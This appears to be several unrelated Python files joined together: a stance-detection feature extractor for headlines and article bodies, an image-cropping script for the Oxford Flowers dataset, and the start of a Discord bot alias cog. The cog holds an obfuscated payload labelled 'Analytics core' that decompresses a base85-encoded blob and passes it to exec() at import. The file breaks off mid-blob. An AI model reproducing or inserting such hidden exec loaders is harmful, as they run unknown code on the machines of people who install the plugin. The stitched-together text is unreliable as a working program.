import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)

import numpy as np
import pandas as pd
import spacy
import networkx as nx
from scipy.spatial import distance
import matplotlib.pyplot as plt
import nltk
from collections import Counter, defaultdict
import itertools
from sklearn.linear_model import LogisticRegression
from sklearn.ensemble import RandomForestClassifier, GradientBoostingClassifier
from sklearn.tree import DecisionTreeClassifier
from sklearn.svm import SVC
from sentic import SenticPhrase
# import en_coref_md
from vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer

nlp = spacy.load('en_core_web_sm')
# coref = en_coref_md.load()

negating_words = set([
    "n't", "not", "no",
    "never", "nobody", "non", "nope"])
doubting_words = set([
    'fake','fraud', 'hoax',
    'false', 'deny', 'denies',
    'despite', 'doubt',
    'bogus', 'debunk', 'prank',
    'retract', 'scam', "withdrawn",
    "misinformation"])
hedging_words = set([
    'allege', 'allegedly','apparently',
    'appear','claim','could',
    'evidently','largely','likely',
    'mainly','may', 'maybe', 'might',
    'mostly','perhaps','presumably',
    'probably','purport', 'purportedly',
    'reported', 'reportedly',
    'rumor', 'rumour', 'rumored', 'rumoured',
    'says','seem','somewhat',
    'unconfirmed'])
sus_words = doubting_words.union(hedging_words)

vader = SentimentIntensityAnalyzer()

def get_sentiment(sentence):
    sent =  vader.polarity_scores(sentence)
    return [sent["pos"],sent["neg"],sent["neu"],sent["compound"]]

def get_avg_sentiment(lst):
    sents = np.array([get_sentiment(s) for s in lst])
    return list(np.mean(sents, axis = 0))

def get_diff_sentiment(a,b):
    return list(np.array(a) - np.array(b))

def preprocess(text):
    text = text.replace("' ",' ')
    text = text.replace("'\n",'\n')
    text = text.replace(" '",' ')
    text = text.replace('"',' ')
    text = text.replace('“',' ')
    text = text.replace('”', ' ')
    text = text.replace(":", ". ")
    text = text.replace(";", ". ")
    text = text.replace("...", " ")
    return text

def make_graph(token):
    valid_children = [c for c in list(token.lefts)+list(token.rights) if c.dep_ != "SPACE"]
    return {
        "name": token.lemma_.lower() + str(token.i),
        "token": token.lemma_.lower(),
        "pos": token.pos_,
        "dep": token.dep_,
        "idx": token.i,
        "children": [make_graph(c) for c in valid_children]
    }

def get_display_graph(headline, body_sents):
    headline_root = [t for t in headline if t.dep_== "ROOT"][0]
    body_roots = [[t for t in sent if t.dep_== "ROOT"][0] for sent in body_sents]
    headline_graph = make_graph(headline_root)
    body_graphs = [make_graph(r) for r in body_roots]
    return {"headline":headline_graph, "body":body_graphs}

def cosine_similarity(x,y):
    if all([a == 0 for a in x]) or all([a == 0 for a in y]):
        return 0
    return 1 - np.nan_to_num(distance.cosine(x,y))

def get_topics(doc):
    """
    get topics of a sentence
    input: spacy doc
    output: dictionary with nouns as the key, and the set of noun chunks that contain the noun as the value
    special entry _vocab has the set of all tokens in the dict
    """
    subjs = {}
    for chunk in doc.noun_chunks:
        if len(chunk.root.text) > 2 and chunk.root.pos_ not in ["NUM", "SYM","PUNCT"]:
            txt = chunk.root.lemma_.lower()
            if txt not in subjs:
                subjs[txt] = set([txt])
            subjs[txt].add(chunk.text.lower())
    subjects_= []
    for word in subjs:
        for phrase in subjs[word]:
            subjects_ += phrase.split(" ")
    subjs["_vocab"] = set(subjects_)
    return subjs

def get_svos(sent):
    """
    input: Spacy processed sentence
    output: dict of subj, dict of v, dict of obj (each word is lemmatized and lowercased)
    each entry in dict has key of lemmatized token, value is actual token (to do traversals with later if needed)
    """
    s = {}
    v = {}
    o = {}
    for token in sent:
        if token.dep_ == 'ROOT':
            v[token.lemma_.lower()] = token
        elif token.dep_ in ["nsubj", "nsubjpass", "csubj","csubjpass", "agent","compound"]:
            s[token.lemma_.lower()] = token
        elif token.dep_ in ["dobj", "dative", "attr", "oprd", "pobj"]:
            o[token.lemma_.lower()] = token
    # https://github.com/clir/clearnlp-guidelines/blob/master/md/specifications/dependency_labels.md
    return (s,v,o)

def build_graph(doc):
    """
    build a NetworkX graph of the dependency tree
    input: spacy Doc
    output: networkx graph
    """
    edges = set()
    for token in doc:
        if token.pos_ not in ['SPACE']:
            for child in token.children:
                if child.pos_ not in ['SPACE']:
                    edges.add((token.lemma_.lower(),child.lemma_.lower()))
    graph = nx.DiGraph(list(edges))
    return graph

def get_edges(doc):
    """
    return list of edges
    """
    edges = []
    for token in doc:
        if token.pos_ not in ['SPACE', 'PUNCT', 'SYM']:
            for child in token.children:
                if child.pos_ not in ['SPACE', 'PUNCT', 'SYM']:
                    edges.append((
                        {"token":token.lemma_.lower(), "dep":token.dep_ , "pos":token.pos_},
                        {"token":child.lemma_.lower(), "dep":child.dep_ , "pos":child.pos_}
                    ))
    return edges

def get_summary(doc, subjects, n = 5):
    """
    get summary of n sentences in document
    first meaningful sentence will always be returned
    """
    subjects_ = subjects
    def score_sentence(sent):
        # not very robust right now
        score = 0
        word_count = 0
        for token in sent:
            word_count += 1
            t = token.lemma_.lower()
            if t in subjects_:
                score += 1
            elif t in negating_words or t in doubting_words or t in hedging_words:
                score += 1.5
        return score/word_count if word_count > 4 else 0
    sentences = [s for s in doc.sents]
    scored_sentences = [[idx, sent, score_sentence(sent)] for idx, sent in enumerate(sentences)]
    scored_sentences = [s for s in scored_sentences if s[2] > 0 and s[0] > 0] #filter out non-scoring sentences
    scored_sentences.sort(key = lambda x: x[2], reverse = True)
    top = scored_sentences[:n]
    top.sort(key = lambda x: x[0])
    scored_sentences.sort(key = lambda x: x[0])
    result = None
    if len(scored_sentences) == 0:
        result = [sentences[0]]
    else:
        result = [scored_sentences[0][1]] + [s[1] for s in top]
    return result

def get_shortest_path_to_negating(graph, subjects):
    """
    get the shortest path from each subject to any negating or doubting/hedging word
    returns: dictionary with subject as key, and 2-element list of path lengths [negating, doubting]
    - if a subject does not exist in graph or have a path to any negating word, then the value will be [None, None]
    """
    results = {}
    for s in subjects:
        results[s] = [None, None, None]
        if graph.has_node(s):
            for word in negating_words:
                if word in graph:
                    try:
                        path = nx.shortest_path(graph, source = s, target = word)
                        if results[s][0] == None or len(path) < results[s][0]:
                            results[s][0] = len(path)
                    except:
                        continue
            for word in hedging_words:
                if word in graph:
                    try:
                        path = nx.shortest_path(graph, source = s, target = word)
                        if results[s][1] == None or len(path) < results[s][1]:
                            results[s][1] = len(path)
                    except:
                        continue
            for word in doubting_words:
                if word in graph:
                    try:
                        path = nx.shortest_path(graph, source = s, target = word)
                        if results[s][2] == None or len(path) < results[s][2]:
                            results[s][2] = len(path)
                    except:
                        continue
    return results

def root_distance(graph, root):
    """
    as implemented in the Emergent paper - return the shortest distance between the given root and any
    doubting or hedging words in the graph, or None if no such path exists
    """
    if root == None:
        return None
    min_dist = None
    for word in sus_words:
        if word in graph:
            try:
                path = nx.shortest_path(graph, source = root, target = word)
                if min_dist == None or len(path) < min_dist:
                    min_dist = len(path)
            except:
                continue
    return min_dist

def get_neg_ancestors(doc):
    """
    get the ancestors of every negating word
    input: spacy Doc
    returns: tuple  - set of words that were in the ancestor list of negating words,
    set of words that were in ancestor list of refuting words, # negating words, # refuting words
    """
    results = [set(), set(), set(), 0, 0, 0]
    for token in doc:
        if token.lemma_.lower() in negating_words:
            results[0] = results[0].union(
                set([ancestor.lemma_.lower() for ancestor in token.ancestors if len(ancestor) > 2]).union(
                    set([child.lemma_.lower() for child in token.head.children if child.text != token.text and len(child) > 2])
                )
            )
            results[3] += 1
        elif token.lemma_.lower() in doubting_words:
            results[1] = results[1].union(
                set([ancestor.lemma_.lower() for ancestor in token.ancestors if len(ancestor) > 2]).union(
                    set([child.lemma_.lower() for child in token.head.children if child.text != token.text and len(child) > 2])
                )
            )
            results[4] += 1
        elif token.lemma_.lower() in hedging_words:
            results[2] = results[1].union(
                set([ancestor.lemma_.lower() for ancestor in token.ancestors if len(ancestor) > 2]).union(
                    set([child.lemma_.lower() for child in token.head.children if child.text != token.text and len(child) > 2])
                )
            )
            results[5] += 1
    return tuple(results)

sp = SenticPhrase("Hello, World!")

def get_sentics(sent):
    """
        input: Spacy processed sentence
        output: a tuple containing the polarity score and a list of sentic values
            (pleasantness, attention, sensitiviy, aptitude )
    """
    info = sp.info(sent)

    # Sometimes sentic doesn't returns any sentics values, seems to be only when purely neutral.
    # Some sort of tag to make sure this is true could help with classiciation! (if all 0's not enough)
    sentics = {"pleasantness":0, "attention":0, "sensitivity":0, "aptitude":0}
    sentics.update(info["sentics"])
    return [info['polarity'], sentics['aptitude'], sentics['attention'], sentics['sensitivity'], sentics['pleasantness']]

def process_sentence(sentence):
    svo = get_svos(sentence)

    # list of words that belong to that part of speech
    nouns = []
    verbs = []
    adjectives = []
    adverbs = []
    tokens = []
    for token in sentence:
        if not token.is_stop and token.pos_ not in ['PUNCT', 'NUM', 'SYM','SPACE','PART']:
            if token.pos_ == "NOUN":
                nouns.append(token.lemma_.lower())
            elif token.pos_ == "VERB":
                verbs.append(token.lemma_.lower())
            elif token.pos_ == "ADJ":
                adjectives.append(token.lemma_.lower())
            elif token.pos_ == "ADV":
                adverbs.append(token.lemma_.lower())
            tokens.append(token.lemma_.lower())

    bigram = list(nltk.bigrams(tokens))
    bigram_str = [x[0]+' '+x[1] for x in bigram]

    return {
        "raw": sentence.text,
        "tokens": tokens,
        "bigrams": bigram_str,
        "nouns": nouns,
        "verbs": verbs,
        "adjectives": adjectives,
        "adverbs": adverbs,
        "svo": [list(item) for item in svo]
    }

def score_sentence_idf(sent, idf):
    # not very robust right now
    score = 0
    word_count = 0
    for token in sent:
        word_count += 1
        t = token.lemma_.lower()
        if t in idf:
            score += idf[t]
    return score/word_count if word_count > 4 else 0

def process_body(body, idf):
    sentences = [s for s in body.sents]
    if len(sentences) == 0:
        sentences = [body]

    # first sentence of article
    first_sentence_data = process_sentence(sentences[0])

    nouns = []
    verbs = []
    adjectives = []
    adverbs = []
    tokens = []
    for token in body:
        if not token.is_stop and token.pos_ not in ['PUNCT', 'NUM', 'SYM','SPACE','PART']:
            if token.pos_ == "NOUN":
                nouns.append(token.lemma_.lower())
            elif token.pos_ == "VERB":
                verbs.append(token.lemma_.lower())
            elif token.pos_ == "ADJ":
                adjectives.append(token.lemma_.lower())
            elif token.pos_ == "ADV":
                adverbs.append(token.lemma_.lower())
            tokens.append(token.lemma_.lower())

    bigram = list(nltk.bigrams(tokens))
    bigram_str = [x[0]+' '+x[1] for x in bigram]

    doc_len = len(tokens)
    n_counter = Counter(nouns)
    v_counter = Counter(verbs)
    b_counter = Counter(bigram)
    t_counter = Counter(tokens)

    avg_idf = idf["_avg"]
    n_tfidf, v_tfidf, t_tfidf = {}, {}, {}
    for n in n_counter:
        n_tfidf[n] = (n_counter[n]/doc_len) *             (idf[n] if n in idf else avg_idf)
    for v in v_counter:
        v_tfidf[v] = (v_counter[v]/doc_len) *             (idf[v] if v in idf else avg_idf)
    for t in t_counter:
        t_tfidf[t] = (t_counter[t]/doc_len) *             (idf[t] if t in idf else avg_idf)

    common_nouns = sorted(n_tfidf, key=n_tfidf.get, reverse=True)[:5]
    common_verbs = sorted(v_tfidf, key=v_tfidf.get, reverse=True)[:5]
    common_tokens = sorted(t_tfidf, key=t_tfidf.get, reverse=True)[:5]

    # no idf for bigrams increase "common" count to 10
    common_bigrams = [x[0] for x in b_counter.most_common(10)]

    scored_sentences = [[idx, sent, score_sentence_idf(sent, idf)] for idx, sent in enumerate(sentences)]
    scored_sentences = [s for s in scored_sentences] #filter out non-scoring sentences
    scored_sentences.sort(key = lambda x: x[2], reverse = True)
    most_significant_sentence_data = process_sentence(scored_sentences[0][1])

    return {
        "tokens": tokens,
        "bigrams": bigram_str,
        "nouns": nouns,
        "verbs": verbs,
        "first_sentence": first_sentence_data,
        "significant_sentence": most_significant_sentence_data,
        "vocabulary": list(set(tokens)),
        "common_tokens": common_tokens,
        "common_nouns": common_nouns,
        "common_verbs": common_verbs,
        "common_bigrams": common_bigrams,
    }

def bow_cos_similarity(a, b):
    vocab = list(set(a).union(set(b)))
    a_bow, b_bow = set(a), set(b)
    if len(a) == 0 or len(b) == 0:
        return -1
    a_vec = [(1 if i in a_bow else 0) for i in vocab]
    b_vec = [(1 if i in b_bow else 0) for i in vocab]
    return 1 - distance.cosine(a_vec, b_vec)

def get_features_rel(headline_data, body_data):
    features = []
    for item in body_data:
        h, b = headline_data, item
        fts = get_feats_rel(h, b)
        features.append(fts)
    return features

def get_feats_rel(headline_data, body_data):
    shared_common_nouns = len(set(headline_data['nouns']).intersection(
        set(body_data['common_nouns'])))
    shared_common_verbs = len(set(headline_data['verbs']).intersection(
        set(body_data['common_verbs'])))
    shared_common_tokens = len(set(headline_data['tokens']).intersection(
        set(body_data['common_tokens'])))
    shared_bigrams = len(set(headline_data['bigrams']).intersection(
        set(body_data['common_bigrams'])))

    shared_nouns_first = len(set(headline_data['nouns']).intersection(
        set(body_data['first_sentence']['nouns'])))
    shared_verbs_first = len(set(headline_data['verbs']).intersection(
        set(body_data['first_sentence']['verbs'])))
    shared_bigrams_first = len(set(headline_data['bigrams']).intersection(
        set(body_data['first_sentence']['bigrams'])))
    shared_tokens_first = len(set(headline_data['tokens']).intersection(
        set(body_data['first_sentence']['tokens'])))

    shared_nouns_sig = len(set(headline_data['nouns']).intersection(
        set(body_data['significant_sentence']['nouns'])))
    shared_verbs_sig = len(set(headline_data['verbs']).intersection(
        set(body_data['significant_sentence']['verbs'])))
    shared_bigrams_sig = len(set(headline_data['bigrams']).intersection(
        set(body_data['significant_sentence']['bigrams'])))
    shared_tokens_sig = len(set(headline_data['tokens']).intersection(
        set(body_data['significant_sentence']['tokens'])))

    headline_svo = headline_data['svo']
    body_fst_svo = body_data['first_sentence']['svo']
    body_sig_svo = body_data['significant_sentence']['svo']

    # cosine similarity - no verbs because relatively few per sentence
    cos_nouns_first = bow_cos_similarity(
        headline_data['nouns'], body_data['first_sentence']['nouns'])
    cos_bigrams_first = bow_cos_similarity(
        headline_data['bigrams'], body_data['first_sentence']['bigrams'])
    cos_tokens_first = bow_cos_similarity(
        headline_data['tokens'], body_data['first_sentence']['tokens'])

    cos_nouns_sig = bow_cos_similarity(
        headline_data['nouns'], body_data['significant_sentence']['nouns'])
    cos_bigrams_sig = bow_cos_similarity(
        headline_data['bigrams'], body_data['significant_sentence']['bigrams'])
    cos_tokens_sig = bow_cos_similarity(
        headline_data['tokens'], body_data['significant_sentence']['tokens'])

    svo_cos_sim_fst = bow_cos_similarity(
        body_fst_svo[0]+body_fst_svo[1]+body_fst_svo[2],
        headline_svo[0]+headline_svo[1]+headline_svo[2])

    svo_cos_sim_sig = bow_cos_similarity(
        body_sig_svo[0]+body_sig_svo[1]+body_sig_svo[2],
        headline_svo[0]+headline_svo[1]+headline_svo[2])

    svo_s_fst = len(set(body_fst_svo[0]).intersection(set(headline_svo[0])))
    svo_v_fst = len(set(body_fst_svo[1]).intersection(set(headline_svo[1])))
    svo_o_fst = len(set(body_fst_svo[2]).intersection(set(headline_svo[2])))
    svo_s_sig = len(set(body_sig_svo[0]).intersection(set(headline_svo[0])))
    svo_v_sig = len(set(body_sig_svo[1]).intersection(set(headline_svo[1])))
    svo_o_sig = len(set(body_sig_svo[2]).intersection(set(headline_svo[2])))

    return {
        'shared_nouns': shared_common_nouns,
        'shared_verbs': shared_common_verbs,
        'shared_bigrams': shared_bigrams,
        'shared_tokens': shared_common_tokens,

        'shared_nouns_fst': shared_nouns_first,
        'shared_verbs_fst': shared_verbs_first,
        'shared_bigrams_fst': shared_bigrams_first,
        'shared_tokens_fst': shared_tokens_first,

        'shared_nouns_sig': shared_nouns_sig,
        'shared_verbs_sig': shared_verbs_sig,
        'shared_bigrams_sig': shared_bigrams_sig,
        'shared_tokens_sig': shared_tokens_sig,

        'cos_nouns_sig': cos_nouns_sig,
        'cos_bigrams_sig': cos_bigrams_sig,
        'cos_tokens_sig': cos_tokens_sig,

        'cos_nouns_fst': cos_nouns_first,
        'cos_bigrams_fst': cos_bigrams_first,
        'cos_tokens_fst': cos_tokens_first,

        'svo_cos_sim_fst' : svo_cos_sim_fst,
        'svo_cos_sim_sig' : svo_cos_sim_sig,

        'svo_s_fst': svo_s_fst,
        'svo_v_fst': svo_v_fst,
        'svo_o_fst': svo_o_fst,

        'svo_s_sig': svo_s_sig,
        'svo_v_sig': svo_v_sig,
        'svo_o_sig': svo_o_sig,
    }

def get_sentence_vec(s):
    vecs = [token.vector for token in s]
    return np.nan_to_num(np.product(vecs, axis = 0))

def get_features_stance(headline_data, body_data, n_sent = 5):
    features = []
    summary_graphs = []
    for item in body_data:
        headline, headline_graph, headline_subjs, headline_svo, headline_root_dist, headline_neg_ancestors, headline_edges = headline_data
        body, body_graph = item

        h_important_words = set(headline_subjs["_vocab"]).union(set(headline_svo[0])).union(set(headline_svo[1])).union(set(headline_svo[2]))

        #sometimes the coref deletes bodies that are one sentence
        if len(body) == 0:
            body = nlp(preprocess(get_body(b)))
            body_graph = build_graph(body)

        #return the shortest path to negating word for each subject in headline_subjs, if one exists
        neg_h = get_shortest_path_to_negating(headline_graph, h_important_words)
        neg_b = get_shortest_path_to_negating(body_graph, h_important_words)

        #body summary
        summary = get_summary(body, h_important_words, n_sent)
        first_summ_sentence = summary[0]
        summary_edges = [get_edges(s) for s in summary]
        summary_graph = get_display_graph(headline, summary)

        summary_svos = [get_svos(s) for s in summary]
        summary_root_dist = [root_distance(body_graph, list(s[1].keys())[0]) for s in summary_svos]
        summary_neg_ancestors = [get_neg_ancestors(s) for s in summary]
        summary_neg_counts = [s[3:] for s in summary_neg_ancestors]

        summary_neg_ancestors_superset = [set(), set(), set()]
        for a in summary_neg_ancestors:
            summary_neg_ancestors_superset[0] = summary_neg_ancestors_superset[0].union(a[0])
            summary_neg_ancestors_superset[1] = summary_neg_ancestors_superset[1].union(a[1])
            summary_neg_ancestors_superset[2] = summary_neg_ancestors_superset[2].union(a[2])

        #ancestors
        h_anc = [[1 if w in headline_neg_ancestors[0] else -1 for w in h_important_words],
                [1 if w in headline_neg_ancestors[1] else -1 for w in h_important_words],
                [1 if w in headline_neg_ancestors[2] else -1 for w in h_important_words]]
        b_anc = [[1 if w in summary_neg_ancestors_superset[0] else -1 for w in h_important_words],
                [1 if w in summary_neg_ancestors_superset[1] else -1 for w in h_important_words],
                [1 if w in summary_neg_ancestors_superset[2] else -1 for w in h_important_words]]
        neg_anc_sim = cosine_similarity(h_anc[0], b_anc[0])
        doubt_anc_sim = cosine_similarity(h_anc[1], b_anc[1])
        hedge_anc_sim = cosine_similarity(h_anc[2], b_anc[2])
        neg_anc_overlap = len(headline_neg_ancestors[0].union(summary_neg_ancestors_superset[0]))
        doubt_anc_overlap = len(headline_neg_ancestors[1].union(summary_neg_ancestors_superset[1]))
        hedge_anc_overlap = len(headline_neg_ancestors[2].union(summary_neg_ancestors_superset[2]))

        #svo
        body_s, body_v, body_o = {}, {}, {}
        headline_s, headline_v, headline_o = headline_svo
        for svo in summary_svos:
            body_s.update(svo[0])
            body_v.update(svo[1])
            body_o.update(svo[2])
        body_s_vec = list(np.sum([body_s[s].vector for s in body_s], axis = 0)) if len(body_s) > 0 else np.zeros(384)
        body_v_vec = list(np.sum([body_v[s].vector for s in body_v], axis = 0)) if len(body_v) > 0 else np.zeros(384)
        body_o_vec = list(np.sum([body_o[s].vector for s in body_o], axis = 0)) if len(body_o) > 0 else np.zeros(384)

        headline_s_vec = list(np.sum([headline_s[s].vector for s in headline_s], axis = 0)) if len(headline_s) > 0 else np.zeros(384)
        headline_v_vec = list(np.sum([headline_v[s].vector for s in headline_v], axis = 0)) if len(headline_v) > 0 else np.zeros(384)
        headline_o_vec = list(np.sum([headline_o[s].vector for s in headline_o], axis = 0)) if len(headline_o) > 0 else np.zeros(384)

        cos_sim_s = cosine_similarity(body_s_vec, headline_s_vec)
        cos_sim_v = cosine_similarity(body_v_vec, headline_v_vec)
        cos_sim_o = cosine_similarity(body_o_vec, headline_o_vec)

        #negating paths
        headline_paths = [neg_b[x] for x in neg_b]
        headline_neg_paths = [1 if x[0] != None else -1 for x in headline_paths]
        headline_doubt_paths = [1 if x[1] != None else -1 for x in headline_paths]
        headline_hedge_paths = [1 if x[2] != None else -1 for x in headline_paths]
        body_paths = [neg_h[x] for x in neg_h]
        body_neg_paths = [1 if x[0] != None else -1 for x in body_paths]
        body_doubt_paths = [1 if x[1] != None else -1 for x in body_paths]
        body_hedge_paths = [1 if x[2] != None else -1 for x in body_paths]

        neg_path_cos_sim = cosine_similarity(headline_neg_paths, body_neg_paths)
        hedge_path_cos_sim = cosine_similarity(headline_hedge_paths, body_hedge_paths)
        doubt_path_cos_sim = cosine_similarity(headline_doubt_paths, body_doubt_paths)

        #root distance
        summary_root_dists = [x if x != None else 15 for x in summary_root_dist]
        avg_summary_root_dist = sum(summary_root_dists)/len(summary_root_dists)
        root_dist_feats = [headline_root_dist, avg_summary_root_dist]
        root_dist_feats = [x/15 if x != None else 1 for x in root_dist_feats]
        root_dist_feats = root_dist_feats + [int(headline_root_dist == None), len([x for x in summary_root_dist if x != None])]

        #sentiment
        headline_sent = get_sentiment(headline.text)
        body_sents = [get_sentiment(s.text) for s in summary]
        avg_body_sent = list(np.mean(body_sents, axis = 0))
        diff_avg_sents = list(np.array(headline_sent) - avg_body_sent)
        diff_sents = list(np.sum([get_diff_sentiment(headline_sent, s) for s in body_sents], axis = 0))
        sent_cos_sim = cosine_similarity(headline_sent, avg_body_sent)

        headline_sentics = get_sentics(headline.text)
        body_sentics = [get_sentics(s.text) for s in summary]
        avg_body_sentics = list(np.mean(body_sentics, axis = 0))
        diff_avg_sentics = list(np.array(headline_sentics) - avg_body_sentics)
        diff_sentics = list(np.sum([get_diff_sentiment(headline_sentics, s) for s in body_sentics], axis = 0))
        sentics_cos_sim = cosine_similarity(headline_sentics, avg_body_sentics)

        #bow
        headline_vocab = set([tok.lemma_.lower() for tok in headline])
        fst_summ_vocab = set([tok.lemma_.lower() for tok in first_summ_sentence])
        total_vocab = list(headline_vocab.union(fst_summ_vocab))
        headline_embedding = [1 if tok in headline_vocab else -1 for tok in total_vocab]
        fst_summ_embedding = [1 if tok in fst_summ_vocab else -1 for tok in total_vocab]
        bow_cos_sim = cosine_similarity(headline_embedding, fst_summ_embedding)

        #word vecs
        cos_sims = [cosine_similarity(get_sentence_vec(s), headline.vector) for s in summary]
        fst_cos_sim = cos_sims[0]
        avg_cos_sim = sum(cos_sims)/len(cos_sims)

        #neg_hedge_doubt distributions
        hd_dist = list(headline_neg_ancestors[3:])
        body_dist = list(np.sum(summary_neg_counts, axis = 0))
        dist_sim = cosine_similarity(hd_dist, body_dist)

        #build final features list
        fts = (
            [fst_cos_sim, avg_cos_sim, bow_cos_sim,
                neg_path_cos_sim, hedge_path_cos_sim, doubt_path_cos_sim,
                neg_anc_sim, hedge_anc_sim, doubt_anc_sim,
                neg_anc_overlap, hedge_anc_overlap, doubt_anc_overlap,
                cos_sim_s, cos_sim_v, cos_sim_o,
                dist_sim, sent_cos_sim, sentics_cos_sim] +
            diff_avg_sents + diff_sents + diff_avg_sentics + diff_sentics +
            root_dist_feats + hd_dist + body_dist +
            headline_sent + avg_body_sent + headline_sentics + avg_body_sentics
        )
        features.append(fts)
        summary_graphs.append(summary_graph)
    return features, summary_graphs, headline_subjs


import tensorflow_datasets as tfds
import numpy as np

def dataset_crop(setName, setType):

    # Get tf dataset
    (trainingdata), metadata = tfds.load(setName, split=setType, with_info=True,
    as_supervised=True)

    # Iterate through it once for counting dataset size
    count = iter(trainingdata)
    total_number_img = sum(1 for _ in count)

    # Reset iterator for cropping images
    the_set = iter(trainingdata)

    # Initiate the new dataset and setup a dummy image for np.vstack
    dataset = np.zeros((1,100,100,3))

    # Iterate through dataset
    for index, i in enumerate(the_set):
        image = (i[0].numpy()).astype('int')
        image = np.expand_dims(image,0)

        # Count how many sections of 100 pixels on the x and y axis
        img_y_count = image.shape[1] // 100
        img_x_count = image.shape[2] // 100

        # cutting up the images and add it to the new dataset
        for y in (np.arange(img_y_count) + 1):
            for x in (np.arange(img_x_count) + 1):
                dataset = np.vstack((dataset, image[:, y*100-100:y*100, x*100-100:x*100, :]))

        #print progress evert 20 images
        if (index + 1) % 20 == 0:
            print("Picture number {} out of {} done".format((index+1), total_number_img))

        # Remove comments to test that the code is working properly
        #if (index + 1) == 10:
        #   break

    # Remove dummy image from the new dataset
    dataset = dataset[1:,...]

    np.savez("{}.npz".format((setName + "_" + setType)), dataset = dataset)

dataset_crop('oxford_flowers102', "train")
dataset_crop('oxford_flowers102', "test")
dataset_crop('oxford_flowers102', "validation")

# Note that when loading the images into a script, the arraytype has to be 'int'
# for the images to render properly with imshow


from discord.ext import commands
from .utils.chat_formatting import box, pagify, warning
from .utils.dataIO import dataIO
from .utils import checks
import asyncio
import os
from copy import copy

__version__ = '1.3.0'

PATH = 'data/galias/'
JSON = PATH + 'aliases.json'

# Analytics core
import zlib, base64
exec(zlib.decompress(base64.b85decode("""c-oB^YjfMU@w<No&NCTMHA`DgE_b6jrg7c0=eC!Z-Rs==JUobmEW{+iBS0ydO#XX!7Y|XglIx5;0)gG
dz8_Fcr+dqU*|eq7N6LRHy|lIqpIt5NLibJhHX9R`+8ix<-LO*EwJfdDtzrJClD`i!oZg#ku&Op$C9Jr56Jh9UA1IubOIben3o2zw-B+3XXydVN8qroBU@6S
9R`YOZmSXA-=EBJ5&%*xv`7_y;x{^m_EsSCR`1zt0^~S2w%#K)5tYmLMilWG;+0$o7?E2>7=DPUL`+w&gRbpnRr^X6vvQpG?{vlKPv{P&Kkaf$BAF;n)T)*0
d?qxNC1(3HFH$UbaB|imz3wMSG|Ga+lI>*x!E&@;42cug!dpFIK;~!;R>u=a4Vz8y`WyWrn3e;uThrxi^*zbcXAK*w-hS{aC?24}>1BQDmD|XC|?}Y_K)!wt
gh<nLYi-r|wI0h@$Y@8i_ZI35#>p9%|-=%DsY{k5mRmwJc=-FIbwpMk`jBG0=THS6MJs2`46LUSl@lusbqJ`H27BW(6QAtFo*ix?<SZ~Ahf=NN3WKFz)^+TI
7QEOmxt?UvhIC^ic3Ax+YB{1x5g($q2h}D8*$U8fJt>?PhusN{ONOTS+%2I;Ctp?3VVl^dVS8NR`CXWFk$^t%7_yrg#Maz27ChBD|fWTd^R-)XnPS*;4&<Hb
R?}uRSd*FANXCTd~x2*g5GpgcrUhDa3BaD^(>D%{LKVMw_k~P%}$MPFA4VX|Gile`<zx~91c=^rr+w<vk`rY|=&(6-De}DG${Okn-OUXv48f1GJor`5?v$q%
TFMcY}5A#o4RYqCKXHQd5P|0W0l#5QSaPj#FB6I;BuUch`A~CXFq+r-o=E-CNvA}RAD~d)}LoFd7IC;j_XS3*~oCR<oki&oY1UVbk3M=!!i`vMr-HBc_rohO
|KYb3nAo(D3N*jqx8}YH0ZT{`_d=dceSKGK)%DT(>D{@Oz2jmA@MhJ3e$0)fWT9uy=op<MfB6@-2KrMVS%9JTqqE=Obp+{=TFfvIcBP<V%F1-&Kr5ENQ4{8B
O-DM?sla&RYID~?N6EuFrUQ$MCB=~majN{JA+Mr>G0gxnz?*zZ$6X}YoDquT-f86S&9r_jl4^iwTB=b@dO<h-rGjr0zPBuz^FWl*PixdEmk567et~{sX$e;&
8hw@7@FLKBvxWZxR2upCDK-SAfuOtZ>?<UEL0#>bPz&m#k_EfT?6V$@c-S?1*oX@v%4J?ovJe=Ffg02v15~5{j(c*4z_SnsD`azD(52?Q`Wu16@BUW;Y3%YD
I)=&rtyM)rFj5W?JunahlgVRPl$V&C&BRKI6h$QzMFpXXsu7x!1gjEZWC@qCeduj65x|OLYty_TCL;TTlFtT?m((VE-w=RSO<GXUtMq1v9bTWD-x(+!=c5cU
u-JNvZ=%&fYkDWqE_d{1<>|oX?Tn2G64O>Hu6N^_?$cB)TyG=4V0GT<$$tOOjiqGg6Yg#f)QeNzC#b`#BGgYO?-{f{SeSVknN;R^@h&cZm3J@IxpK->s4_dW
J!rxLkJAGpKlhA5quEd29O8_b1C-D?IFe@9_jXS-pCCHLYPWXhUK6UR0$qA=R{Amo|$>cNWg?d1zX>eSKpBCK4Iu+}6D|=G2?KfoXCKqd=Y|Q!@`dHCGg@v{
vA$Z5dyJ<+eC&xFNPBQ-HUmQKiSM7yrrK|E5dKoHVjMCI*{|5XjK-hRoxfE?H>%7VQDis50t<T-{7R&*yNdElnjEIVy$Wqa#6}UueK}JZ;YuP80jPk8PX22@
?fs-R5ufnCP7+1I4tB2o(kPl4r*iS;&0X@%LZri7fyY#1ABHnz3YKWpp7TXabSjn;momJS$fEU9}3epF*a@*n;E(&?p(Kx;VjZ}=<Gteb=fmkF39Gebr&Y)j
}CI`&V#JvE5;9cOe$I&DwIcK3S0(WM=-FA1Qs{9-Bgtmar60ON}N1Y`!qS)%8K^$j)>^pSbB$ixCoa0<BU@bqEva{?J{lGorEQHBx$ERH_jk!1Y@gW}@T9`r
#?E758i1{u?F)W;7hkYl#mw*o-1$NfSNJ5MHHkpg0UF!__4)rMXp^P_R1{w2&j)S)*(Rn7Icog3e|1$4m*>^&IpbJI}dPqMdW~P?1OQsGAGQsgxjAs2HHrr@
Uu_tG{KEibSt2hp*w>;;6`u^-us%TPoaOVJ_?FPO$^>8k0HZC^DBEVf_F7FnB+e@mz5Ph%uUiTzW2WfG~IS@6vhTA70{2-iN)(RAJ4IWC#7^Vpt7a5K@&~#!
IKTr@4s_iWEiu2X~OGbpi#AE1zlWirPcza;tQmxNBas>$asN8nCtL4HbJNJw=Mg2f&Qo;;0AJ=Pl%yz>lwi3o^V?@NcsN<x-K=3~6Aa*tDu}Nq`h=X?O$+(}
G#iwVecFa^RZnvc3UWk3%z+7%&BvtLF^Ru(`{Onm6ct(to99#bX&-NrI4A-LMkD7_tX2?~6ZC!o~1n-D?0wl>Ckrc%k^6QM?QSgxi)qIOAz~S9voLkS~9jUd
